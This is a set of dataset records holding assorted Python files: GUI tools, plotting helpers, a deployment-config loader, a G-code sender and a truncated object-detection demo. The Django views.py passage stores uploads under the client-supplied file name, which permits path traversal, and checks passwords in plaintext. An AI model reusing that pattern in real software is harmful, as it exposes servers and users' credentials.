+{"seq_id":"180132976","text":"import wx\nimport scipy as sp\nimport imreg_dft as ird\nimport PyQt5\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtGui import QImage\nimport os\nfrom threading import Thread\nimport skimage\n\nThumbMaxSize = 360\nedges1File = 'image1edges.jpg'\nedges2File = 'image2edges.jpg'\nimage2scaledFile = \"image2scaled.jpg\"\noverlayFile = 'overlay.jpg'\nOutputMaxSize = 360\nNoFileSelected = \"No File Selected\"\n\n# Define File Drop Target class\nclass FileDropTarget(wx.FileDropTarget):\n\n    def __init__(self, obj, imageCtrl, frame):\n        \"\"\" Initialize the Drop Target, passing in the Object Reference to\n          indicate what should receive the dropped files \"\"\"\n        # Initialize the wxFileDropTarget Object\n        wx.FileDropTarget.__init__(self)\n        self.obj = obj\n        self.imageCtrl = imageCtrl\n        self.frame = frame\n\n    def OnDropFiles(self, x, y, filenames):\n        # display filename to gui\n        self.obj.Clear()\n        file = filenames[0]\n        self.obj.WriteText(file)\n        \n        # read in image file\n        img = wx.Image(file, wx.BITMAP_TYPE_ANY)\n\n        # scale down image into a thumbnail\n        W = img.GetWidth()\n        H = img.GetHeight()\n        if W > H:\n            NewW = ThumbMaxSize\n            NewH = ThumbMaxSize * H / W\n        else:\n            NewH = ThumbMaxSize\n            NewW = ThumbMaxSize * W / H\n        imgThumb = img.Scale(NewW,NewH)\n\n        # assign image to image control\n        self.imageCtrl.SetBitmap(wx.Bitmap(imgThumb))\n        self.frame.Refresh()\n\n        return True\n\nclass MainWindow(wx.Frame):\n    \"\"\" This window displays the GUI Widgets. \"\"\"\n    def __init__(self,parent,id,title):\n        wx.Frame.__init__(self,parent, wx.ID_ANY, title, size = (800,900), style=wx.DEFAULT_FRAME_STYLE|wx.NO_FULL_REPAINT_ON_RESIZE)\n        self.SetBackgroundColour(wx.WHITE)\n\n        # define text\n        wx.StaticText(self, -1, \"Drag and Drop Image File 1\", (10, 15))\n        wx.StaticText(self, -1, \"Drag and Drop Image File 2\", (410, 15))\n        self.text1 = wx.TextCtrl(self, -1, \"\", pos=(10,35), size=(360,20), style = wx.TE_READONLY)\n        self.text2 = wx.TextCtrl(self, -1, \"\", pos=(410,35), size=(360,20), style = wx.TE_READONLY)\n        self.text1.WriteText(NoFileSelected)\n        self.text2.WriteText(NoFileSelected)\n        self.alignStatus = wx.StaticText(self, -1, \"Aligning...Please Wait\", (520,485))\n        self.alignStatus.Hide()\n\n        # define images\n        img1 = wx.Image(ThumbMaxSize,ThumbMaxSize)\n        img2 = wx.Image(ThumbMaxSize,ThumbMaxSize)\n        img3 = wx.Image(OutputMaxSize, OutputMaxSize)\n        self.imageCtrl1 = wx.StaticBitmap(self, wx.ID_ANY, wx.Bitmap(img1), pos=(10,65))\n        self.imageCtrl2 = wx.StaticBitmap(self, wx.ID_ANY, wx.Bitmap(img2), pos=(410,65))\n        self.imageCtrl3 = wx.StaticBitmap(self, wx.ID_ANY, wx.Bitmap(img3), pos=(10,450))\n\n        # Create a File Drop Target object\n        dt1 = FileDropTarget(self.text1, self.imageCtrl1, self)\n        dt2 = FileDropTarget(self.text2, self.imageCtrl2, self)\n\n        # define check box and buttons\n        self.detectEdges = wx.CheckBox(self, -1, \"Detect Edges\", pos = (410,450))\n        buttonAlign = wx.Button(self, -1, \"Align\", pos=(410,480))\n        buttonAlign.Bind(wx.EVT_BUTTON, self.onAlign)\n        buttonCopyToClipboard = wx.Button(self, -1, \"Copy Image To Clipboard\", pos=(410,510))\n        buttonCopyToClipboard.Bind(wx.EVT_BUTTON, self.onCopyToClipboard)\n\n        # Link the Drop Target Object to the Image Control\n        self.imageCtrl1.SetDropTarget(dt1)\n        self.imageCtrl2.SetDropTarget(dt2)\n\n        # Display the Window\n        self.Show(True)\n\n    def onAlign(self, button):\n        # get paths\n        path1 = self.text1.GetValue()\n        path2 = self.text2.GetValue()\n        \n        if(path1 != NoFileSelected and path2 != NoFileSelected):\n            detectEdges = self.detectEdges.GetValue()\n            worker = AlignWorkerThread(self, path1, path2, detectEdges)\n\n    def onCopyToClipboard(self, button):\n        # check that im3 exists\n        try:\n            self.img3\n        except:\n            return\n\n        # copy overlay image file to clipboard\n        app = QtWidgets.QApplication([])\n        data = QtCore.QMimeData()\n        cwd = os.getcwd()\n        overlayFilePath = os.path.join(cwd, overlayFile)\n        url = QtCore.QUrl.fromLocalFile(overlayFilePath)\n        data.setUrls([url])\n        app.clipboard().setMimeData(data)\n\nclass AlignWorkerThread(Thread):\n    \n    def __init__(self, frame, path1, path2, detectEdgesBool):\n        Thread.__init__(self)\n        self.frame = frame\n        self.path1 = path1\n        self.path2 = path2\n        self.detectEdgesBool = detectEdgesBool\n        self.start()\n\n    def detectEdges(self, path):\n        img = skimage.io.imread(path)\n        img_grey = skimage.color.rgb2grey(img)\n        edge_sobel = skimage.filters.sobel(img_grey)\n        edge_inverted = skimage.util.invert(edge_sobel)\n        return edge_inverted\n\n    def run(self):\n        # this needs to be in a thread to not lock up the gui\n        self.frame.alignStatus.Show() \n\n        # apply edge detection to both input images\n        if(self.detectEdgesBool):\n            skim1edges = self.detectEdges(self.path1)\n            skim2edges = self.detectEdges(self.path2)\n            skimage.io.imsave(edges1File,skim1edges)\n            skimage.io.imsave(edges2File,skim2edges)\n            im1wx = wx.Image(edges1File, wx.BITMAP_TYPE_ANY)\n            im2wx = wx.Image(edges2File, wx.BITMAP_TYPE_ANY)\n        else:\n            im1wx = wx.Image(self.path1, wx.BITMAP_TYPE_ANY)\n            im2wx = wx.Image(self.path2, wx.BITMAP_TYPE_ANY)\n\n        # scale image 2\n        w1 = im1wx.GetWidth()\n        h1 = im1wx.GetHeight()\n        w2 = im2wx.GetWidth()\n        h2 = im2wx.GetHeight()\n        im2scaled = im2wx.Scale(w1,h1) # not a good scaling method\n        im2scaled.SaveFile(image2scaledFile)\n\n        # read in image 1 and scaled image 2\n        if(self.detectEdgesBool):\n            im1 = sp.misc.imread(edges1File,True)\n        else:\n            im1 = sp.misc.imread(self.path1,True)\n        im2 = sp.misc.imread(image2scaledFile,True)\n\n        # align image 2\n        result = ird.similarity(im1, im2, numiter=3)\n        assert \"timg\" in result\n        im2aligned = result['timg']\n\n        # overlay\n        overlay = im1 + im2aligned\n        sp.misc.imsave(overlayFile,overlay)\n\n        # display overlay\n        self.frame.img3 = wx.Image(overlayFile, wx.BITMAP_TYPE_ANY)\n        img3thumb = self.frame.img3.Scale(OutputMaxSize,OutputMaxSize)\n        self.frame.imageCtrl3.SetBitmap(wx.Bitmap(img3thumb))\n        self.frame.Refresh()\n\n        self.frame.alignStatus.Hide()\n\nclass MyApp(wx.App):\n    def OnInit(self):\n        frame = MainWindow(None, -1, \"Image Alignment Tool\")\n        self.SetTopWindow(frame)\n        return True\n\n# Declare the Application and start the Main Loop\napp = MyApp(0)\napp.MainLoop()","sub_path":"registrationGUI/imageRegGUI.py","file_name":"imageRegGUI.py","file_ext":"py","file_size_in_byte":6954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"349804937","text":"from math import pi\nimport matplotlib.pyplot as plt\n\ndef plot_count(feature, title,xlabel, df, size=1):\n    f, ax = plt.subplots(1,1, figsize=(4*size,6))\n    total = float(len(df))\n    g = sns.countplot(df[feature], order = df[feature].value_counts().index[:30], palette='Set3')\n    g.set_title(\"Distribution of {}\".format(title), fontsize = 16)\n    if(size > 2):\n        plt.xticks(rotation=90, size=8)\n    for p in ax.patches:\n        height = p.get_height()\n        ax.text(p.get_x()+p.get_width()/2.,\n                height + 3,\n                '{:1.2f}%'.format(100*height/total),\n                ha=\"center\")\n    #plt.xlabel(xlabel, fontsize = 16)\n    plt.xlabel('')\n    plt.ylabel('Count', fontsize = 16)\n    plt.xticks(fontsize = 16)\n    plt.savefig(f'img/{title}.png', dpi = 500, bbox_inches = 'tight')\n    plt.show()\n \ndef make_spider( df, row, title, color):\n    # initialize the figure\n    plt.figure(figsize=(10, 10))\n    # number of variable\n    categories=list(df)\n    N = len(categories)\n\n    # What will be the angle of each axis in the plot? (we divide the plot / number of variable)\n    angles = [n / float(N) * 2 * pi for n in range(N)]\n\n    # Initialise the spider plot\n    ax = plt.subplot(1,1,row+1, polar=True, )\n\n    # If you want the first axis to be on top:\n    ax.set_theta_offset(pi / 2)\n    ax.set_theta_direction(-1)\n\n    # Draw one axe per variable + add labels labels yet\n    plt.xticks(angles, categories, color='k', size=15)\n\n    # Draw ylabels\n    ax.set_rlabel_position(0)\n    plt.yticks([0.05,.1,.15], [\"5\",\"10\",\"15\"], color=\"grey\", size=12)\n    plt.ylim(0,0.2)\n#     plt.yticks([0.1,.2,.3, 0.4, 0.5], [\"10\",\"20\",\"30\",\"40\", \"50\"], color=\"grey\", size=12)\n#     plt.ylim(0,0.6)\n\n    # Ind1\n    values=df.loc[row].values.flatten().tolist()\n    values += values[:1]\n    angles += angles[:1]\n    ax.plot(angles, values, color=color, linewidth=2, linestyle='solid')\n    ax.fill(angles, values, color=color, alpha=0.4)\n\n    # Add a title\n    #plt.title(title, size=16, color=color, y=1.1)\n","sub_path":"visualizations.py","file_name":"visualizations.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"327641386","text":"from django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.shortcuts import redirect\nfrom django import forms\nimport sys\n\nfrom login.models import User\nfrom login.views import check_login\nimport json\n\n\n@check_login\ndef hello(request, name='index.html'):\n\n    htmls = ['calendar.html', 'chart.html', 'file-manager.html', 'form.html', 'gallery.html', 'icon.html', 'index.html',\n             'login.html', 'messages.html', 'submenu.html''submenu2.html', 'submenu3.html', 'table.html', 'tasks.html',\n             'typography.html', 'ui.html', 'widgets.html', 'file_upload.html', '404.html', 'data_preview.html', 'algorithm_preview.html',\n             \"run_manage.html\",\n             \"algorithm_go.html\",'data.html']\n    print(name, \"=====================================================\")\n    if name in htmls:\n        return render(request, name)\n    else:\n        return render(request, '404.html')\n\n\ndef login_user(request):\n    print(\"LOGIN\")\n    if request.method == 'POST':\n        print(request.POST)\n        all_data = request.POST\n        print(all_data)\n        exist = User.objects.filter(username=all_data['username'], password=all_data['password']).first()\n        print('EXIST', exist)\n        if exist:\n            request.session['is_login'] = True  # 设置session的随机字段值\n            request.session['username'] = exist.username  # 设置uname字段为登录用户\n            return redirect('/index.html')\n        else:\n            return HttpResponse(\"账户或密码错误\")\n    else:\n        return render(request, 'login.html')\n\n\n@check_login\ndef upload(request):\n    if request.method == 'POST':\n        file_obj = request.FILES.get('file', None)\n        print(file_obj.name)\n        print(file_obj.size)\n        with open('media/' + file_obj.name, 'wb') as f:\n            for line in file_obj.chunks():\n                f.write(line)\n        f.close()\n\n        data = dict()\n        data['status'] = 1\n        return HttpResponse(json.dumps(data), content_type='application/json')\n\n","sub_path":"web_gov/web_gov/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"270534044","text":"def convert(n, base):\n    temp = \"0123456789ABCDEF\"\n    q, r = divmod(n, base)\n\n    if q == 0:\n        return temp[r]\n    else:\n        return convert(q, base) + temp[r]\n\n\ndef solution(n, t, m, p):\n    answer = ''\n    temp =''\n    for i in range(m*t):\n        temp += convert(i,n)\n    \n    while len(answer) < t:\n        answer += temp[p-1]\n        p += m\n\n    return answer\n\nn = 16\nt = 16 \nm = 2\np = 1\n\n\nprint(solution(n,t,m,p))","sub_path":"4.programmers/practice/Prog_2018_KAKAO_n진수게임.py","file_name":"Prog_2018_KAKAO_n진수게임.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"157711321","text":"'''\n2. Latin Translator\n    Look at the following list of Latin words and their meanings.\n        Latin       English\n        sinister    left\n        dexter      right\n        medium      center\n    Write a GUI program that translates the Latin words to English. The window should have\n    three buttons, one for each Latin word. When the user clicks a button, the program displays \n    the English translation in a label.\n'''\n\nimport tkinter as tk\nfrom functools import partial\n\ndef main():\n    # Instantiate the window\n    window = tk.Tk()\n\n    # set the window geometry and title\n    window.geometry('400x400')\n    window.title('Latin Translator')\n\n    # define the function to show the info\n    def display_English(p_latin):\n        # def blank labels to generate from for the dictionary\n        labelLeft = None\n        labelRight = None\n        labelCenter = None\n        # Define a translation dictionary with the Latin words as a key\n        translation = {\n            'sinister' : {'English': 'left', 'label' : labelLeft, 'col' : 0},\n            'dexter' : {'English': 'right', 'label' : labelRight, 'col' : 2},\n            'medium' : {'English': 'center', 'label' : labelCenter, 'col' : 1}\n        }\n        # prepare the label to display\n        translation[p_latin]['label'] = tk.Label(master=window, text=translation[p_latin]['English'])\n        translation[p_latin]['label'].grid(column=translation[p_latin]['col'], row=3)\n\n    # build a title header label for the window\n    titleLatin = tk.Label(text='Latin')\n    titleLatin.grid(row=0, column=1, padx=5, pady=5, sticky='nsew')\n    titleEnglish = tk.Label(text='English')\n    titleEnglish.grid(row=2, column=1, padx=5, pady=5, sticky='nsew')\n\n    # Build the buttons that calls the display translation function when clicked\n    buttonleft = tk.Button(text='sinister', command=partial(display_English, 'sinister'))\n    buttonleft.grid(column=0, row=1, padx=10, pady=10)\n    buttoncenter = tk.Button(text='medium', command=partial(display_English, 'medium'))\n    buttoncenter.grid(column=1, row=1, padx=10, pady=10)\n    buttonright = tk.Button(text='dexter', command=partial(display_English, 'dexter'))\n    buttonright.grid(column=2, row=1, padx=10, pady=10)\n\n\n    # call the window mainloop function\n    window.mainloop()\n\n# Call the main function\nmain()","sub_path":"studentCode/GUI/gui_latin_translator.py","file_name":"gui_latin_translator.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"646101869","text":"# Tulkintaohjelma Nordpoolin day ahead -hintatietojen lukemiseen\n# txt-tiedostosta ja niiden tulkintaan aikatauluttaja-ohjelmaa varten\n\n######### DATAN TUOTTO #########\n\njarj=[] #Alustetaan hintajärjestyksen muuttuja\nminim=0 #Alustetaan minimiarvon muuttuja\n\ndef jarjestys(tiedot): # Funktio luo listan tunneista, joka on järjestetty halvimmasta kalleimpaan.\n\ti=0\n\tkeys=tiedot.keys()\n\t\n\tlista=sorted(keys, key=tiedot.__getitem__)\n\treturn lista\n\ndef minimi(tiedot):\n\tminim = min(tiedot, key=tiedot.get)\n\tprint(minim)\n\treturn minim\n\ndef delta(tiedot, min): # Funktio laskee tuntien välisen hintaeron. Päivän ensimmäinen tunti näytetään nollana.\n\tlista=[]\n\tfor rivi in tiedot:\n\t\tif rivi > 0:\n\t\t\tarvo=float(((tiedot[rivi]-tiedot[min])/tiedot[min]))\n\t\t\tlista.append(arvo)\n\t\telse:\n\t\t\tarvo = 0\n\t\t\tlista.append(arvo)\n\t\tprint(\"{:.2f}\".format(arvo))\n\treturn lista\n\t\t\ndef xmlparsinta(tiedot): # Funktio hakee parsinta.py -moduulin, joka lukee hintatiedot xml-tiedostosta python-sanakirjaksi muuttujaan tiedot\n\timport parsinta\n\ttiedot = parsinta.luetiedot(tiedot)\n\treturn tiedot\n\n######### DATAN KÄSITTELY #########\n\t\n######### MAIN #########\ndef main():\n\ttiedot={}\n\ttry:\n\t\ttiedot=xmlparsinta(tiedot)\n\t\tfor rivi in tiedot:\n\t\t\tprint(rivi, tiedot[rivi])\n\n\t\tjarj=jarjestys(tiedot)\n\t\tminim=minimi(tiedot)\n\t\tmuutos=delta(tiedot, minim)\n\t\tprint(muutos)\n\texcept OSError:\n\t\tprint(\"Virhe tiedoston lukemisessa.\")\n\t\nmain()","sub_path":"tulkinta.py","file_name":"tulkinta.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"627429131","text":"from heft.algs.ga.GAImplementation.GAImpl import GAFactory\nfrom heft.core.CommonComponents.ExperimentalManagers import ExperimentResourceManager, ExperimentEstimator\nfrom heft.core.environment import ResourceGenerator\nfrom heft.core.environment.ResourceManager import Schedule\nfrom heft.core.environment.Utility import profile_decorator, wf\n\n\n_wf = wf(\"Montage_100\")\nresources = ResourceGenerator.r([10, 15, 25, 30])\nresource_manager = ExperimentResourceManager(resources)\nestimator = ExperimentEstimator(None, ideal_flops=20, reliability=1.0, transfer_time=100)\n\nga = GAFactory.default().create_ga(silent=True,\n                              wf=_wf,\n                              resource_manager=resource_manager,\n                              estimator=estimator,\n                              ga_params={\n                                        \"population\": 10,\n                                        \"crossover_probability\": 0.8,\n                                        \"replacing_mutation_probability\": 0.5,\n                                        \"sweep_mutation_probability\": 0.4,\n                                        \"generations\": 20\n                              })\n\n@profile_decorator\ndef fnc():\n    empty_schedule = Schedule({node: [] for node in resource_manager.get_nodes()})\n    res = ga(empty_schedule, None)\n    print(res)\n    pass\n\nif __name__ == \"__main__\":\n    fnc()\n\n\n","sub_path":"heft/algs/ga/utilities/Profiling.py","file_name":"Profiling.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"501385095","text":"# -*- coding: utf-8 -*-\n# 需要安装protobuf\nimport gen_py_from_pb\nimport sys\nimport os\ngen_py_from_pb.gen_py_from_pb('./deploy/proto/')\nsys.path.append(os.path.join(os.path.dirname(os.path.dirname(__file__)), \"./proto/\"))\nfrom google.protobuf import text_format\nfrom gcm_pb2 import *\nfrom loghelper import LogError\n\n\nclass ArtifactInstance:\n    def __init__(self):\n        self.instance_id = None                 # instance的地址。比如：5.1.7.2\n        self.instance_name = None               # instance的名称地址。比如：test.zone_1.logic_svr.2\n        self.artifact_name = None               # instance对应的artifact名称。比如：logic_svr\n        self.host_name = None                   # instance将被部署的目标服务器名。比如：server1\n        self.inner_ip = None                    # instance将被部署的目标服务器的内网IP。比如：192.168.1.100\n        self.outer_ip = None                    # instance将被部署的目标服务器的外网IP。比如：100.233.66.39\n        self.deploy_ip = None                   # instance将被部署的目标服务器的部署IP。比如：192.168.1.100\n        self.start_priority = 0                 # instance的启动优先级，默认为0。值越大，越先启动。\n        # self.__emergence_order = None           # instance在deploy.conf中出现的顺序。（用于确定启动顺序）\n        self.artifact = None\n        self.index = 0\n\n    def __str__(self):\n        return self.instance_id + \" \" + self.instance_name\n\n\nclass GcmData:\n    def __init__(self):\n        self.host_map = {}\n        self.agent_artifact = None\n        self.template_artifact_map = {}\n        self.artifact_map = {}\n        self.artifact_group_map = {}\n        self.deploy_info = DeployInfo()\n        self.variable_map = {}\n        self.world_map = {}\n        self.artifact_instances = []\n\n    def init(self, conf_paths):\n        for path in conf_paths:\n            self._load_conf(path)\n        # check syntax\n        self._check_syntax()\n        self._convert_template_artifacts()\n        self._gen_instance()\n\n    def _load_conf(self, conf_path):\n        # parse hosts.conf\n        host_cfg = HostCfg()\n        host_path = os.path.join(conf_path, 'hosts.conf')\n        self._load_proto(host_path, host_cfg)\n        for host in host_cfg.hosts:\n            self.host_map[host.name] = host\n\n        # parse agent_artifacts.conf\n        agent_artifact = AgentArtifact()\n        agent_artifact_path = os.path.join(conf_path, 'agent_artifacts.conf')\n        self._load_proto(agent_artifact_path, agent_artifact)\n        self.agent_artifact = agent_artifact\n\n        # parse artifact_templates.conf\n        template_artifact = TemplateArtifact()\n        artifact_templates_path = os.path.join(conf_path, 'artifact_templates.conf')\n        self._load_proto(artifact_templates_path, template_artifact)\n        for item in template_artifact.template_artifacts:\n            self.template_artifact_map[item.template_name] = item\n\n        # parse artifacts.conf\n        normal_artifact = NormalArtifact()\n        artifact_path = os.path.join(conf_path, 'artifacts.conf')\n        self._load_proto(artifact_path, normal_artifact)\n        for item in normal_artifact.artifacts:\n            self.artifact_map[item.name] = item\n\n        # parse artifact_groups.conf\n        artifact_group = ArtifactGroup()\n        artifact_groups_path = os.path.join(conf_path, 'artifact_groups.conf')\n        self._load_proto(artifact_groups_path, artifact_group)\n        for item in artifact_group.artifact_groups:\n            self.artifact_group_map[item.name] = item\n\n        # parse deploy.conf\n        deploy_path = os.path.join(conf_path, 'deploy.conf')\n        deploy = Deploy()\n        self._load_proto(deploy_path, deploy)\n        for var in deploy.variables:\n            self.variable_map[var.key] = var.value\n\n        # parse global const variable\n        self.deploy_info.tmp_root_path = deploy.tmp_root_path\n        self.deploy_info.dst_root_path = deploy.dst_root_path\n        self.deploy_info.listen_port = deploy.listen_port\n\n        for word in deploy.worlds:\n            if word.name in self.world_map:\n                LogError('world name: %s is duplicated' % word.name)\n                raise BaseException()\n            else:\n                self.world_map[word.name] = word\n\n    @staticmethod\n    def _load_proto(file_path, proto):\n        if not os.path.exists(file_path):\n            return\n        with open(file_path) as f:\n            text_format.Parse(f.read(), proto)\n\n    def _check_syntax(self):\n        function_id_set = set()\n        for name, artifact in self.artifact_map.items():\n            if artifact.function_id in function_id_set:\n                LogError('function_id: %d is duplicated in artifacts.conf' % artifact.function_id)\n                raise BaseException()\n            function_id_set.add(artifact.function_id)\n\n        world_id_set = set()\n        for world_name in self.world_map:\n            world = self.world_map[world_name]\n            if not world.name:\n                LogError('world name is empty in world_id:%d' % world.id)\n                raise BaseException()\n            if not world.id:\n                LogError('world id is empty in world_name:%s' % world.name)\n                raise BaseException()\n            if not world.user:\n                LogError('user is empty in world_name:%s' % world.name)\n                raise BaseException()\n            if not world.passwd:\n                LogError('passwd is empty in world_name:%s' % world.name)\n                raise BaseException()\n            if world.id in world_id_set:\n                LogError('world id: %d is duplicated' % world.id)\n                raise BaseException()\n\n            world_id_set.add(world.id)\n            zone_name_set = set()\n            zone_id_set = set()\n\n            for zone in world.zones:\n                if not zone.name:\n                    LogError('zone name: is empty in world name: %s' % world.name)\n                    raise BaseException()\n                if not zone.id:\n                    LogError('zone id: is empty in world name: %s' % world.name)\n                    raise BaseException()\n                if zone.name in zone_name_set:\n                    LogError('zone name: %s is duplicated in world name: %s' % (zone.name, world.name))\n                    raise BaseException()\n                if zone.id in zone_id_set:\n                    LogError('zone id: %d is duplicated in world name: %s' % (zone.id, world.name))\n                    raise BaseException()\n\n                zone_name_set.add(zone.name)\n                zone_id_set.add(zone.id)\n                groups_set = []\n\n                for groups in zone.instance_groups:\n                    if not groups.artifact_group_name:\n                        LogError('artifact_group_name is empty in zone:%s in world:%s' % (zone.name, world_name))\n                        raise BaseException()\n                    if not groups.host_name:\n                        LogError('host_name is empty in zone:%s in world:%s' % (zone.name, world_name))\n                        raise BaseException()\n                    if not groups.instance_id:\n                        LogError('instance_id is empty in zone:%s in world:%s' % (zone.name, world_name))\n                        raise BaseException()\n                    if [groups.artifact_group_name, groups.instance_id] in groups_set:\n                        LogError('group_name: %s, instance_id: %d is duplicated in zone name: %s in world name: %s'\n                                 % (groups.artifact_group_name, groups.instance_id, zone.name, world.name))\n                        raise BaseException()\n                    groups_set.append([groups.artifact_group_name, groups.instance_id])\n\n    def _convert_template_artifacts(self):\n        for name, artifact in self.artifact_map.items():\n            if not artifact.template_name:\n                continue\n            if artifact.template_name not in self.template_artifact_map:\n                LogError(\"can't find template artifacts name: %s in artifacts name: %s\"\n                         % (artifact.template_name, name))\n                raise BaseException()\n            template_artifact = self.template_artifact_map[artifact.template_name]\n            artifact.files.MergeFrom(template_artifact.files)\n\n    def _gen_instance(self):\n        for world_name, world in self.world_map.items():\n            for zone in world.zones:\n                zone_name = zone.name\n                for inst_groups in zone.instance_groups:\n                    group_name = inst_groups.artifact_group_name\n                    if group_name not in self.artifact_group_map:\n                        pformat = \"can't find artifact_group_name: %s in zone_name:%s in world_name:%s in artifact_groups.conf\"\n                        LogError(pformat % (group_name, zone_name, world_name))\n                        raise BaseException()\n                    if inst_groups.host_name not in self.host_map:\n                        pformat = \"can't find host_name: %s in zone_name:%s in world_name:%s in hosts.conf\"\n                        LogError(pformat % (inst_groups.host_name, zone_name, world_name))\n                        raise BaseException()\n                    group = self.artifact_group_map[group_name]\n                    for artifact_name in group.artifact_names:\n                        if artifact_name not in self.artifact_map:\n                            LogError(\"can't find artifact_group:%s's artifact_name:%s in artifacts.conf\"\n                                     % (group_name, artifact_name))\n                            raise BaseException()\n                        artifact = self.artifact_map[artifact_name]\n                        host = self.host_map[inst_groups.host_name]\n                        instance = ArtifactInstance()\n                        instance.instance_id = '%d.%d.%d.%d' % (world.id, zone.id, artifact.function_id, inst_groups.instance_id)\n                        instance.instance_name = '%s.%s.%s.%s' % (world_name, zone_name, artifact.name, inst_groups.instance_id)\n                        instance.artifact_name = artifact_name\n                        instance.host_name = inst_groups.host_name\n                        instance.inner_ip = host.inner_ip\n                        instance.outer_ip = host.outer_ip\n                        instance.deploy_ip = host.deploy_ip\n                        instance.start_priority = artifact.start_priority\n                        self.artifact_instances.append(instance)\n\n\n\n","sub_path":"fk/deploy/src/gcm_data.py","file_name":"gcm_data.py","file_ext":"py","file_size_in_byte":10624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"438750685","text":"# -*- coding: utf-8 -*-\n# @Time    : 2017/12/21 23:21\n# @Author  : play4fun\n# @File    : gcode_write_dragon.py\n# @Software: PyCharm\n\n\"\"\"\ngcode_write_dragon.py:\n毛笔字：龙\n\"\"\"\n\nimport sys, os\nfrom time import sleep\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '..'))\n\nfrom uf.ufc import ufc_init\nfrom uf.comm.serial_ascii import SerialAscii\nfrom uf.utils.log import *\n\nlogger_init(logging.VERBOSE)\n\nprint('setup ser_ascii ...')\n\nser_iomap = {\n    'out': 'ser_out',\n    'in': 'ser_in',\n    'service': 'ser_service'\n}\n\nufc = ufc_init()\nser_ascii = SerialAscii(ufc, 'ser_ascii', ser_iomap, filters={'hwid': 'USB VID:PID=2341:0042'})\n\nprint('setup test ...')\nlogger = logging.getLogger('test')\n\n\ndef ser_out_cb(msg):\n    logger.debug('callback: ' + msg)\n\n\ntest_ports = {\n    'ser_out': {'dir': 'in', 'type': 'topic', 'callback': ser_out_cb},\n    'ser_in': {'dir': 'out', 'type': 'topic'},\n    'ser_service': {'dir': 'out', 'type': 'service'}\n}\n\ntest_iomap = {\n    'ser_out': 'ser_out',\n    'ser_in': 'ser_in',\n    'ser_service': 'ser_service'\n}\n\nufc.node_init('test', test_ports, test_iomap)\n\nprint('\\nsleep 2 sec ...\\n')\nsleep(2)\n\n# print('\\nset X330 ...')\n# test_ports['ser_in']['handle'].publish('G0 X300 Y0 Z50')\n\n\n\nwith open('long_0001.GCODE') as f:\n    gcodes = f.readlines()\n\n# print(gcodes)\n\nfor line in gcodes:#[:40]:\n    if line.strip() == '':\n        continue\n    print(line)\n    test_ports['ser_in']['handle'].publish(line)\n    sleep(0.1)\n\nwhile True:\n    sleep(1)","sub_path":"test2/gcode_write_dragon.py","file_name":"gcode_write_dragon.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"34660390","text":"import pandas as pd\nimport numpy as np\nprevalence = pd.read_feather('tables/genes.1m.unique.prevalence.feather')\nprevalence.set_index('index', inplace=True)\n\n\nhists = {}\nfor c in prevalence.columns:\n    if c in ['amplicon', 'isolate']:\n        continue\n    hists[c] = np.bincount(prevalence[c])\n\nsize = max(len(v) for v in hists.values())\nnhists = {}\nfor k,v in hists.items():\n    c = np.zeros(size, dtype=int)\n    c[:len(v)] = v\n    nhists[k] = c\n\nnhists = pd.DataFrame(nhists)\nnhists.to_csv('tables/genes.prevalence.1m.hists.txt', sep='\\t')\n","sub_path":"profiles-all/gene.profiles/create-prevalence-histograms.1m.py","file_name":"create-prevalence-histograms.1m.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"383537414","text":"\"\"\"Faster RCNN Demo script.\"\"\"\nimport os\nimport argparse\nimport mxnet as mx\nimport gluoncv as gcv\nfrom gluoncv.data.transforms import presets\nfrom matplotlib import pyplot as plt\n\ndef parse_args():\n    parser = argparse.ArgumentParser(description='Test with Faster RCNN networks.')\n    parser.add_argument('--network', type=str, default='faster_rcnn_resnet50_v2a_voc',\n                        help=\"Faster RCNN full network name\")\n    parser.add_argument('--short', type=str, default='',\n                        help='Resize image to the given short side side, default to 600 for voc.')\n    parser.add_argument('--max-size', type=str, default='',\n                        help='Max size of either side of image, default to 1000 for voc.')\n    parser.add_argument('--images', type=str, default='',\n                        help='Test images, use comma to split multiple.')\n    parser.add_argument('--gpus', type=str, default='0',\n                        help='Training with GPUs, you can specify 1,3 for example.')\n    parser.add_argument('--pretrained', type=str, default='True',\n                        help='Load weights from previously saved parameters. You can specify parameter file name.')\n    args = parser.parse_args()\n    dataset = args.network.split('_')[-1]\n    if dataset == 'voc':\n        args.short = int(args.short) if args.short else 600\n        args.max_size = int(args.max_size) if args.max_size else 1000\n    elif dataset == 'coco':\n        args.short = int(args.short) if args.short else 800\n        args.max_size = int(args.max_size) if args.max_size else 1333\n    return args\n\nif __name__ == '__main__':\n    args = parse_args()\n    # context list\n    ctx = [mx.gpu(int(i)) for i in args.gpus.split(',') if i.strip()]\n    ctx = [mx.cpu()] if not ctx else ctx\n\n    # grab some image if not specified\n    if not args.images.strip():\n        gcv.utils.download(\"https://cloud.githubusercontent.com/assets/3307514/\" +\n            \"20012568/cbc2d6f6-a27d-11e6-94c3-d35a9cb47609.jpg\", 'street.jpg')\n        image_list = ['street.jpg']\n    else:\n        image_list = [x.strip() for x in args.images.split(',') if x.strip()]\n\n    if args.pretrained.lower() in ['true', '1', 'yes', 